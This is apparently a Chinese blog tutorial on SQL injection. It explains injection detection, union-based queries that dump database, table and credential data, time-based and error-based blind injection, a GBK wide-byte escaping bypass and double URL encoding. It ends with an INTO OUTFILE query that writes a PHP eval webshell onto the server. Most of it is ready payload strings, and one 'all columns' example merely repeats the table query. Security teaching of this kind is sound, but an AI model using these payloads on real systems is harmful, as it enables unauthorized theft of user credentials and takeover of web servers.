SQL注入

一、原理

SQL注入形成原因:后端页面对用户的输入过滤不够严格,导致用户可以拼接SQL语句,用户输入的数据被数据库解释器当做SQL语句执行

二、SQL注入

1.字符型和数字型注入

对于查询参数为数字的索引,可能是数字型或者字符型。
**字符型:**查询的索引参数在数据库中定义为字符,也就是vchar或者char型,数据库中查询语句在使用这个参数查询时需要加上’ ‘号。
**数字型:**查询的索引参数再数据库中定义为数字,也就是整型int型,查询语句不用加’ ’

例如:

数字型:select name from name_list where id= 1
字符型:select name from name_list where id='1'

PS:
其实对于纯数字参数,无论数据库中存储的数据是字符型(varchar)还是数字型(int)都可以使用id=1和id='1’查询。对于纯数字索引,注入时所谓字符型还是数字型其实是后端数据库操作代码把数字参数当作字符串还是纯数字进行处理。如果数据库存储的数据类型为数字型(int型),而在查询时数字又带了引号将其作为字符串输入,则数据库在查询时会忽略字符串中第一个数字后的内容。也就是在数据库中,对于数字参数(int型),以下查询语句等效
select name from name_list where id= 1 / id=‘1’/id=‘1ws’/

2.判断是否存在注入及确定注入参数类型:

(1)判断是否存在注入:
加上 ’ 测试:若不能正常查询,说明存在注入。
原理:数字型查询语句变成id=1’,字符型变成id=‘1’‘,没有闭合的引号在数据库中查询时会报错。
数据库本身是没有任何安全机制的,它只会原样执行输入的任何语句,判断是否存在注入的过程,其实就是判断数据库操作代码有无过滤的过程。
PS:
①报错的时候,注意看报错内容,有些查询可能还会有一些特殊格式,比如给查询参数加括号。。。
②如果加单引号查询时没有任何异常,一是考虑是否后端是双引号,因为id="1’"进行查询时,由于数据库会忽略第一个数字后的内容查询正常,这时应该使用双引号测试;二是考虑对URL一些特殊符号进行URL编码(双引号、单引号、注释符号等 )
(2)判断查询参数类型(这一步不可省略):
构造语句id=1 and 1=2,若能正常查询,说明是字符型,若不能,说明是数字型(#的作用是注释掉后边的内容,也可以用–)
原理:
数字型在数据库中的实际查询语句变成id=1 and 1=2,数据库会先判断条件,该结果为假,也就是0,查询出的数据应该是id=0的数据
字符型在数据库中的实际查询语句变成id=‘1 and 1=2’,数据库查询时会忽略第一个数字后的内容
PS:
①如果是get型,测试的时候最好对某些特殊字符进行url编码
②在确定类型后,再使用id=1’#或者id=1#进行测试,如果依然报错,则可能参数有括号,添加括号id=1’)#或者id=1)#进行测试(也可能有更多括号,不断加括号测试直到不报错为止)

3.联合查询注入

联合查询注入是指使用union拼接恶意查询语句的方式进行非授权查询,将结果合并显示,适用于有查询数据回显的注入。
(1)猜解查询字段数:
1 order by n# 数字型
1’ order by n# 字符型
从1-n进行测试,直到n显示不正常,则查询字段数为n-1
原理:
order by的作用是对查询结果进行排序,如果order by 字段名,则根据该字段进行排序,若是order by 数字n,则是根据查询出的第n个字段进行排序,若n超出了查询字段的数量,则会报错。
注意:
这个是查询出的结果的字段数,而不是数据表中所有字段数。
这一步的作用是为下一步的union查询作准备。
(2)判断回显位置:
1 union select 1,2……n-1# 数字型
1’union select 1,2……n-1# 字符型
根据数字显示位置,可以判断查询的回显位置,这个回显位置就可以用来显示想查询的数据。
union的作用是将两个查询结果进行合并显示,合并的两个结果字段数必须相同。select查询后若不加from table,则会直接显示输入的原始数据。
注意:
union查询的时候回显的数据是合并后的数据,可能由于显示顺序等问题,导致显示的依然是正常查询的数据,这时候可能需要构造一个不存在的查询数据,以显示union后边的数据。
例如:
id=1 union select 1,2,3# 由于id=1存在,可能在页面显示的时候是显示id=1的数据,不显示1,2,3,这时候需要构造一个不存在的id,比如
id=-1 union select 1,2,3#,用来显示1,2,3
(5)使用注入查询库、表等
①查询当前数据库:
union select database(),2,3# (假设有三个字段且1的位置为回显位置,以下相同)
②查询库中所有表
union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()#
③查询表中所有字段
union select group_concat(column_name) ,2,3 from information_schema.columns where table_name=‘库名’#
④查询元数据
union select group_concat(username,0x3a,password) ,2,3 from users# --查询user库中字段username和password的数据,并用冒号: (0x3a)分隔

4.盲注

数据查询后在页面上没有回显,无法通过类似联合查询一样的方式直接查询获取数据,只能通过猜测相关信息,然后验证的方式猜测出数据库的相关信息。
盲注的思想主要是猜测和验证,通过猜测数据库名长度、字段数、是否含有某个字符等,输入猜测语句查询,查询结果正确或不正确,会有不同的反馈,根据不同反馈即可判断我们的猜测是否正确,进而一步一步爆出所需的信息
(1)布尔型盲注:
在查询成功和查询不成功的情况下,前端会显示两种不同信息
参考链接: https://blog.csdn.net/qq_36119192/article/details/81431510
(2)时间型盲注:
用于没有任何可用回显的地方,通过sleep函数的配合,根据执行的时间来判断猜测语句是否正确
①判断是否有注入:
直接输入id=1’没有任何异常反应,这时候可以使用时间型盲注进行判断
id=1’ and sleep(5)# 如果发现明显延迟,说明执行成功,存在注入,且为字符型,如果没有延迟,说明不存在注入或者是数字型注入
②手工注入:
a.猜测数据库名长度:id=1’ and if(length(database())=8,sleep(5),0)#
b.猜测数据库名第一个字符:id=1’ and if(left(database(),1)=‘s’,sleep(5),0)#
猜测数据库名前两个字符:id=1’ and if(left(database(),2)=‘se’,sleep(5),0)#
……
d.猜测第一个表第一个字符id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘r’ , sleep(3), 1) #
猜测第二个表第一个字符id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=‘s’ , sleep(3), 1) #
参考链接: https://blog.csdn.net/qq_36119192/article/details/81431510
(3)报错型盲注:后台接收到参数并在执行sql语句后,会返回错误信息,用于会反馈报错信息的地方
①配合group_concat()、floor()等函数,会在报错信息中带出数据库等信息
参考链接: http://www.2cto.com/article/201303/192718.html
②extractvalue()用于报错注入—用extravalue()也可以
原理:extractvalue(xml_flag,xpath_expr)—为mysql用来解析XML并查询XML元素的一个函数。xml_flag为使用元素标签标识的xml元素节点,xpath_expr为使用xpath表示的xml元素位置。当xpath(也就是xpath_expr)错误时,会把xpath_expr的内容作为报错信息的一部分返回客户端,利用这个回显的报错信息,即可返回一些数据库信息。
a.爆出数据库名:id=1’ and extractvalue(1,concat(1,(select database())))# —数据库报错,执行select database()后把数据库名当作报错信息返回客户端
b.爆出所有表:id=1’ and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
c.爆出所有字段:id=1’ and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
③updatexml()用于报错注入
原理:UpdateXML(xml_target, xpath_expr, new_xml)—对XML文档内容进行修改,用new_xml对xml_target进行替换,和extractvalue()一样,当xpth_expr发生错误时,会将xapth_expr内容作为报错信息的一部分发送至前端。
a.爆出数据库名:id=1’ and updatexml(1,concat(1,(select database())),1)#
后续爆表和字段名与extractvalue()一致。

5.宽字节注入—绕过转义函数

(1)特殊字符转义:
为防止注入攻击,同时有些查询可能本身需要加入特殊字符,数据库操作代码中可能使用了转义函数对数据中的特殊字符进行转义(其实就是在特殊字符前加上一个转义符/,从而告诉数据库特殊字符为一个普通数据,而不是操作符,这样就避免了注入和实现特殊字符的查询。
(2)宽字节注入原理:
当输入 id=1’时,若有转义函数,则转义函数会在’前加上转义符 / 得到id=1/‘,将 ’ 转换为一个普通内容字符,从而避免SQL注入。若我们输入id=1%df ‘,则在经过转义函数后会变成id=1%df/’,由于 / 的URL编码为%5c,则实际传入参数变为id=1%df%5c’,当数据库编码为GBK时,%5c%df会被数据库认为是汉字“運”的GBK编码,从而使得查询语句变为 id=1運’ ,从而吸收了转义符/,实现单引号不被转义,这个就是宽字节注入。
(2)测试:
输入1%df ’
若能正常查询,说明存在字符型注入–数据库中实际查询语句为id=‘1運’,由于数据库会忽略数字后的内容,因此查询结果为id=1 的结果
若不能正常查询,说明存在数字型注入

6.二次url编码注入

(1)二次url编码注入原理:
经过URL编码的URL在提交到服务器后,服务器会自动对其进行解码,某些程序员由于不清楚这个过程,再次写了URL解码函数对URL进行解码,从而导致了两次URL解码(未经过编码的URL经过URL解码函数解码时不会发生改变)。若我们对提交的URL进行2次URL编码,就会被2次解码,从而绕过二次解码之前对特殊字符的过滤检测。
比如: id=1’的一次URL编码为id=1%27,二次URL编码为id=1%2527,提交后服务器就会将它转成 id=1%27,若此时对 ’ 进行检测过滤,则无法检测出。后续代码再次进行解码,会重新得到id=1’。

7.利用mysql的outfile功能向服务器写入webshell

mysql的outfile功能可以将查询结果导出为一个文本保存到服务器,可利用该功能向服务器中写入webshell
select*from users where id=0 union select 1,2,‘<?php eval(@$_POST[123]);?>’ into outfile ‘C:/shell.php’;
–注意:POST [ ]括号中的webshell密码使用数字,若使用字母需要加引号,引号可能会导致数据库报错而写入失败

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值